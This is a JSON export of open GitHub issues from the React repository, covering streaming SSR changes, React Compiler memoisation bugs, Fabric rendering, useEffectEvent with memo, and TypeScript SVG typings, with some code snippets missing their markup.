"0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 1775957182, "node_id": "MDU6TGFiZWwxNzc1OTU3MTgy", "url": "https://api.github.com/repos/facebook/react/labels/Resolution:%20Stale", "name": "Resolution: Stale", "color": "e6e6e6", "default": false, "description": "Automatically closed due to inactivity" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-12-03T03:26:58Z", "updated_at": "2026-03-03T04:36:23Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 19.2.0\n\n\n## Steps To Reproduce\n\n```tsx\n// App.tsx\n
\n \n \n \n
\n```\n\n```ts\nfunction renderToHtml(app: ReactNode): Promise {\n return new Promise((resolve, reject) => {\n const passThrough = new PassThrough();\n const { pipe } = renderToPipeableStream(app, {\n onError(error) {\n reject(error);\n },\n onAllReady() {\n pipe(passThrough);\n text(passThrough).then(resolve, reject);\n },\n });\n });\n}\n```\n\nrelated APIs:\n\n`renderToPipeableStream` `prerenderToNodeStream` etc\n\n## react 19.1.1\n\n```html\n
\n
\n

title

\n
\n
\n```\n\n`.rspress-doc > h1` works fine\n\n\n## react 19.2.0\n\nIf the article content is very long, it exceeds the chunkSize set by React.\n\n```html\n
\n
\n
\n\n\n\n```\n\n`.rspress-doc > h1` 🤕\n\n\n\n## Related links\n\n- https://github.com/web-infra-dev/rspress/pull/2831\n\n- https://github.com/facebook/react/pull/33027\n\n- https://github.com/facebook/react/pull/33027#issuecomment-3403958008\n\n\n\n## The current behavior\n\n`onAllReady` returns a HTML with streaming rendering\n\n## The expected behavior\n\n`onAllReady` behavior as the same as React 19.1.1\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35271/reactions", "total_count": 3, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 2 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35268", "id": 3685655661, "node_id": "I_kwDOAJy2Ks7brqRt", "number": 35268, "title": "[Compiler Bug]: incorrectly uses variable name as JSX tag (``) instead of referenced value", "user": { "login": "icyJoseph", "id": 21013447, "node_id": "MDQ6VXNlcjIxMDEzNDQ3", "avatar_url": "https://avatars.githubusercontent.com/u/21013447?v=4", "gravatar_id": "", "url": "https://api.github.com/users/icyJoseph", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-12-02T12:42:48Z", "updated_at": "2025-12-03T07:19:39Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEASggIZyEBmMEGBA5DGRfQNwA6AdnBJ2IQCNSYBAQC8DACZoAbmy5cefQgBUE-AMK0cnBJzzJizPADoAYhvEEAFAEpxAPgLAuBAkv4Et2K0JEdONyY8WECAHm8sAHoHLgBfAK4EAA8cfAJJBEpSKAAbKihuPDReAgAJWgQ7Z1cCYNCCMLVNbV49Qhj4rhAAGhAlSjQAcxR0bFxCPABPLFFgAgAFXKghtE4AeSxi3jACOIJqWgYhAQRcgFosZdXOc6ZyPHOebDRchBgo6X55Ti5rF0CBCiUWeWFepG2nAAshBMoZ2CBSLlcgj4gQwBC0GBBupFtc1ptIWBbKxeuAABYQADuAEl9O9OEiwChsrkRHEgA\n\n### Repro steps\n\nGiven this input:\n\n```jsx\nimport React from 'react';\nconst base = 'div';\n\nconst TestComponent: React.FC = () => {\n const Comp = base;\n return \n};\n\nexport default function Home() {\n return \n}\n```\n\nThe compiler outputs this for the `TestComponent`\n\n```jsx\nconst TestComponent: React.FC = () => {\n const $ = _c(1);\n let t0;\n if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n t0 = ;\n $[0] = t0;\n } else {\n t0 = $[0];\n }\n return t0;\n};\n```\n\nFirst reported here: https://github.com/vercel/next.js/issues/86728\n\nThis outputs a `` tag instead of a `div`.\n\nI searched on issues before posting, but I couldn't find other reports.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nNext.js' version on 16.0.6\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35268/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35263", "id": 3681281267, "node_id": "I_kwDOAJy2Ks7ba-Tz", "number": 35263, "title": "Bug: fabric completeRoot called for suspended comp. w/ same tree output", "user": { "login": "hannojg", "id": 16821682, "node_id": "MDQ6VXNlcjE2ODIxNjgy", "avatar_url": "https://avatars.githubusercontent.com/u/16821682?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hannojg", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-12-01T14:30:44Z", "updated_at": "2026-03-02T08:16:37Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version: 19.3 (latest main)\n\n## Steps To Reproduce\n\n1. Checkout the test case in this PR: https://github.com/facebook/react/pull/35262\n\n\n\nLink to code example: https://github.com/facebook/react/pull/35262\n\n\n\n## The current behavior\n\nI noticed that when we suspend a component in fabric react and in that component a state update occurs, that we still will call completeRoot.\n\nThis has performance implications, as completeRoot will call into c++ and invoke ShadowTree::commit in react-native.\n\nI think that when a suspended component has a state update and we still show the very same fallback component, then there should be no completeRoot call, as technically, nothing has changed about the UI output.\n\nI believe that this is a bug with in react-reconciler / react fabric\n\n\n## The expected behavior\n\nWe shouldn't call `completeRoot` if there is no change in the rendering tree output.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35263/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35239", "id": 3672680732, "node_id": "I_kwDOAJy2Ks7a6Kkc", "number": 35239, "title": "Bug: Compiler, group memoisation", "user": { "login": "Grafikart", "id": 395137, "node_id": "MDQ6VXNlcjM5NTEzNw==", "avatar_url": "https://avatars.githubusercontent.com/u/395137?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Grafikart", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-11-27T18:35:09Z", "updated_at": "2026-02-26T08:17:04Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "The compiler seems to mix dependency in some condition and nest block incorrectly.\n\nReact version: 19.2\nIssue demo : [React Compiler Playground](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANpT6uADT4wCXAGFodXAF18AXnxQ1AZVxlcCfgAZBAbnH5J0uUysBbMCrW4Akp5g+kYmCOaW1rIAjCoATCoAzCoALCoArLqC4k4udDL4JEzUCDAIhAEIXob47pVgAHSFxTD8AG6GAHz4rQCksYYGRnbZElJ5BEwMpR4IOtVCnSI5zr5aim2LrQDUUVkSAL4jzmP5ZITlnvPCBl1iEivqFV4bN-iy9R+tKq31lLMA5rgABb4Lb4KKZHKHOhHfClXCwNgAHkITFaHWW+CRmA6Wg8mCssBECh0+yRAHocZikQAjKC4XCsfCsDSUJhwADWBmAkzg01muH2HT8UwAlzMdCUKXSGawMfcsVR5c4VSImlZShc6vUPGQBLUPIskWz8ByEJxuQahTzPGTyWyOoJoarnLT6Yy2Cy2ZzuWctR4hdxzvgntL3XLqeSlTkKaj0eJoSAlCAxoV-igQEx8TgCLhOJgECJ8AAFShQf6TADyBJYeXw+wKMAghoA5DSyDSEJQALSYMsVujd0pkRjdqT4oolcmomQtxwwuj8O7Ocnk8eYIqWWvsCDEZD4UQgMiUSiHhOqLdgQoIMAl-tVmvSBxJ8BAiAAdxFGrox7AKHIlBqPsQA)\n\n## Steps To Reproduce\n\n1. I create a component with 2 states that won't interact, and array and a counter ([React Compiler Playground Link](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANpT6uADT4wCXAGFodXAF18AXnxQ1AZVxlcCfgAZBAbnH5J0uUysBbMCrW4Akp5g+kYmCOaW1rIAjCoATCoAzCoALCoArLqC4k4udDL4JEzUCDAIhAEIXob47pVgAHSFxTD8AG6GAHz4rQCksYYGRnbZElJ5BEwMpR4IOtVCnSI5zr5aim2LrQDUUVkSAL4jzmP5ZITlnvPCBl1iEivqFV4bN-iy9R+tKq31lLMA5rgABb4Lb4KKZHKHOhHfClXCwNgAHkITFaHWW+CRmA6Wg8mCssBECh0+yRAHocZikQAjKC4XCsfCsDSUJhwADWBmAkzg01muH2HT8UwAlzMdCUKXSGawMfcsVR5c4VSImlZShc6vUPGQBLUPIskWz8ByEJxuQahTzPGTyWyOoJoarnLT6Yy2Cy2ZzuWctR4hdxzvgntL3XLqeSlTkKaj0eJoSAlCAxoV-igQEx8TgCLhOJgECJ8AAFShQf6TADyBJYeXw+wKMAghoA5DSyDSEJQALSYMsVujd0pkRjdqT4oolcmomQtxwwuj8O7Ocnk8eYIqWWvsCDEZD4UQgMiUSiHhOqLdgQoIMAl-tVmvSBxJ8BAiAAdxFGrox7AKHIlBqPsQA))\n\n```tsx\nexport default function MyApp() {\n const [count, setCount] = useState(0);\n const [items, setItems] = useState([1, 2, 3, 4, 5])\n\n const filteredItems = items.filter(v => v%2 === 0)\n\n const increment = () => {\n setCount(v => v+1)\n }\n\n const addItem = () => {\n setItems(v => [...v, v.length + 1])\n }\n\n\n return
\n

Compteur {count}

\n \n
    \n {filteredItems.map(item =>
  • {item}
  • )}\n \n
\n
\n}\n```\n\n2. I would expect `filteredItem` to be memoised with \"items\" as a dependency. But it produce this code\n\n```jsx\n// Compiler output\n if ($[1] !== count || $[2] !== items) {\n const filteredItems = items.filter(_temp);\n let t5;\n if ($[7] === Symbol.for(\"react.memo_cache_sentinel\")) {\n t5 = () => {\n setCount(_temp2);\n };\n $[7] = t5;\n } else {\n t5 = $[7];\n }\n\nlet t2\n// Expected output\n if ($[1] !== items) {\n t2 = items.filter(_temp);\n $[1] = items\n $[2] = filteredItems\n } else {\n t2= $[2];\n }\n```\n\n## The current behavior\n\nIt groups everything after the filteredItems inside a condition\n\n\n## The expected behavior\n\n- `filteredItems` should be memoised\n- The 3 children of the virtual dom should be in their own condition with the right dependency\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35239/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35237", "id": 3672538685, "node_id": "I_kwDOAJy2Ks7a5n49", "number": 35237, "title": "[Compiler Bug]: Memoization depends on how the order of the lines of code", "user": { "login": "leoasis", "id": 328001, "node_id": "MDQ6VXNlcjMyODAwMQ==", "avatar_url": "https://avatars.githubusercontent.com/u/328001?v=4", "gravatar_id": "", "url": "https://api.github.com/users/leoasis", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2025-11-27T17:36:40Z", "updated_at": "2026-02-10T22:37:24Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgDMoA7OXASwhPyjAQDEIIAKCgE2XzFxgpIDmASnzAAOjXxxqPfACMAhjHwBeWvQBCSlkIDcE-FJkEAbgoA2UBKqKk4LRTD0SDRkrOD52C3AvwBfGzoELQAvFghMShk2diFnSWl3Aj81GAQwKHNcFm9fABp8M0sEBNdXdNxYGgV9En8QfJAkwgoBFBAKAFtsPHxcAE9Ma08ABUsBfgB5KKp3AKIYCC78AHJFOQRzAFpMCf5t9IVybekeinMEGAB6dgoeVbqJFnFJa+uzzAufOYBZCHYCC4YhAFnMIIkgTAPzArQy+HGUEmJBm0Xceka4AAFhAAO4ASRIuCuJAsYBQvCs-iAA\n\n### Repro steps\n\nThe output of the linked code skips memoization of `func(bar)` and `result(data, value)`, but if line 3 (`const value = func(bar);`) is moved down below the `useBaz` call, the memoization happens as expected.\n\nI would expect this code to be memoized regardless of the order of the lines.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.0\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35237/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 1, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35225", "id": 3667589924, "node_id": "I_kwDOAJy2Ks7amvsk", "number": 35225, "title": "Bug: Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.", "user": { "login": "Raugusto79", "id": 208564090, "node_id": "U_kgDODG5veg", "avatar_url": "https://avatars.githubusercontent.com/u/208564090?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Raugusto79", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 1775957182, "node_id": "MDU6TGFiZWwxNzc1OTU3MTgy", "url": "https://api.github.com/repos/facebook/react/labels/Resolution:%20Stale", "name": "Resolution: Stale", "color": "e6e6e6", "default": false, "description": "Automatically closed due to inactivity" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-11-26T13:44:17Z", "updated_at": "2026-03-05T14:19:24Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version:\n\n## Steps To Reproduce\n\n1.\n2.\n\n\n\nLink to code example:\n\n\n\n## The current behavior\n\n\n## The expected behavior\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35225/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35220", "id": 3666880619, "node_id": "I_kwDOAJy2Ks7akChr", "number": 35220, "title": "Bug: useState hook not updating state correctly in async functions", "user": { "login": "Arun24-8", "id": 206331998, "node_id": "U_kgDODExgXg", "avatar_url": "https://avatars.githubusercontent.com/u/206331998?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Arun24-8", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 1775957182, "node_id": "MDU6TGFiZWwxNzc1OTU3MTgy", "url": "https://api.github.com/repos/facebook/react/labels/Resolution:%20Stale", "name": "Resolution: Stale", "color": "e6e6e6", "default": false, "description": "Automatically closed due to inactivity" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-11-26T10:27:48Z", "updated_at": "2026-03-08T07:14:45Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Bug Description\nWhen using useState hook inside an async function, the state doesn't update correctly after awaiting a promise.\n\n## Steps To Reproduce\n1. Create a component with useState\n2. Create an async function that awaits a promise\n3. Try to update state after the await\n4. State shows stale value\n\n## Expected Behavior\nState should update correctly after async operations\n\n## Actual Behavior\nState retains old value\n\nReact version: 19.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35220/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35219", "id": 3666741169, "node_id": "I_kwDOAJy2Ks7ajgex", "number": 35219, "title": "Bug: [React 19 | Streaming SSR] Script tags injected via ChunkExtractor not appearing in final HTML when using renderToPipeableStream", "user": { "login": "sandeep3690Butte", "id": 55513609, "node_id": "MDQ6VXNlcjU1NTEzNjA5", "avatar_url": "https://avatars.githubusercontent.com/u/55513609?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sandeep3690Butte", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 710332294, "node_id": "MDU6TGFiZWw3MTAzMzIyOTQ=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Server%20Rendering", "name": "Component: Server Rendering", "color": "d4c5f9", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-11-26T09:49:50Z", "updated_at": "2025-11-26T10:19:26Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Description\n\nI am using React 19, Express, and Streaming SSR (renderToPipeableStream) along with @loadable/server ChunkExtractor to extract and inject script/style tags for client-side hydration.\n\nThe loadable-stats.json is generated correctly, and ChunkExtractor.getScriptTags() returns the expected
\n );\n}\n\nexport default memo(App);\n```\n\n\n\nLink to code example:\nhttps://codesandbox.io/p/sandbox/gj356q\n\n\n\n## The current behavior\nIf you click the button and increment the counter you always see `0` in the log. By removing the `memo` you will see the current counter value.\n\n\n## The expected behavior\nSee the latest counter value even if the component is wrapped in `memo`, since the documentation https://react.dev/reference/react/useEffectEvent does not describe any different behavior if component is wrapped in `memo`.\n\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35187/reactions", "total_count": 3, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 3, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35182", "id": 3649151500, "node_id": "I_kwDOAJy2Ks7ZgaIM", "number": 35182, "title": "Bug:", "user": { "login": "luisfernando30077-lgtm", "id": 226002589, "node_id": "U_kgDODXiGnQ", "avatar_url": "https://avatars.githubusercontent.com/u/226002589?v=4", "gravatar_id": "", "url": "https://api.github.com/users/luisfernando30077-lgtm", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-11-20T21:25:59Z", "updated_at": "2025-12-11T15:34:17Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version:\n\n## Steps To Reproduce\n\n1.\n2.\n\n\n\nLink to code example:\n\n\n\n## The current behavior\n\n\n## The expected behavior\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35182/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35179", "id": 3648433857, "node_id": "I_kwDOAJy2Ks7Zdq7B", "number": 35179, "title": "TypeScript Bug: Type '\"bounding-box\"' is not assignable to type 'PointerEvents | undefined'. (ts 2322)", "user": { "login": "lfuelling", "id": 5144843, "node_id": "MDQ6VXNlcjUxNDQ4NDM=", "avatar_url": "https://avatars.githubusercontent.com/u/5144843?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lfuelling", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-11-20T18:01:19Z", "updated_at": "2026-02-27T17:13:28Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version: 19.2.0\n\n## Steps To Reproduce\n\n1. Add this svg into a TypeScript React component: ```html\n```\n2. Error: `Type '\"bounding-box\"' is not assignable to type 'PointerEvents | undefined'. (ts 2322)`\n\n\n\nLink to code example: https://codesandbox.io/p/devbox/flamboyant-tu-q2v7g5\n(It's a JS code sandbox but you can hover over the property to see that `bounding-box` is not in the property list that the editor renders.)\n\n\n\n## The current behavior\nGives a TS error.\n\n\n## The expected behavior\nShould accept all valid values as listed (for example) here: https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/pointer-events#usage_notes", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35179/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35171", "id": 3641431250, "node_id": "I_kwDOAJy2Ks7ZC9TS", "number": 35171, "title": "[Compiler Bug]: `using` syntax is not preserved", "user": { "login": "cormacrelf", "id": 378760, "node_id": "MDQ6VXNlcjM3ODc2MA==", "avatar_url": "https://avatars.githubusercontent.com/u/378760?v=4", "gravatar_id": "", "url": "https://api.github.com/users/cormacrelf", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-11-19T07:29:04Z", "updated_at": "2025-11-19T22:26:25Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/cormacrelf/react-compiler-using-bug\n\n### Repro steps\n\n`pnpm i && pnpm dev`. Open App.tsx to see there are three [diposables with `using` syntax](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/using). Open the console, note that only one of the Disposables had its `Symbol.dispose` method called.\n\nTo show that it's react-compiler's fault, you can:\n- observe that only `using` syntax inside the component is transformed, the one at the top level is preserved.\n- uncomment `effect.useIt()` which makes react-compiler skip the component and all the disposals work.\n- skip the component\n- disable the transform in vite.config.ts\n\nNote that react-compiler transforms the `using render = new Disposable(\"render\");` to just `new Disposable(\"render\")`, which is not a valid transform. It would be valid for a `const` or `let` binding.\n\nThere is another bug in here that I can't reproduce, because react-compiler keeps bailing out when I add the `useIt` call. But very similar code to the following *does* get compiled, and in that case the using is just transformed to a const, which again breaks the disposal.\n\n\n```typescript\nfunction App() {\n const context = useContext();\n const ref = React.useRef(null);\n\n useEffect(() => {\n if (ref.current) {\n using effect = new Disposable(context);\n effect.useIt();\n }\n });\n\n return
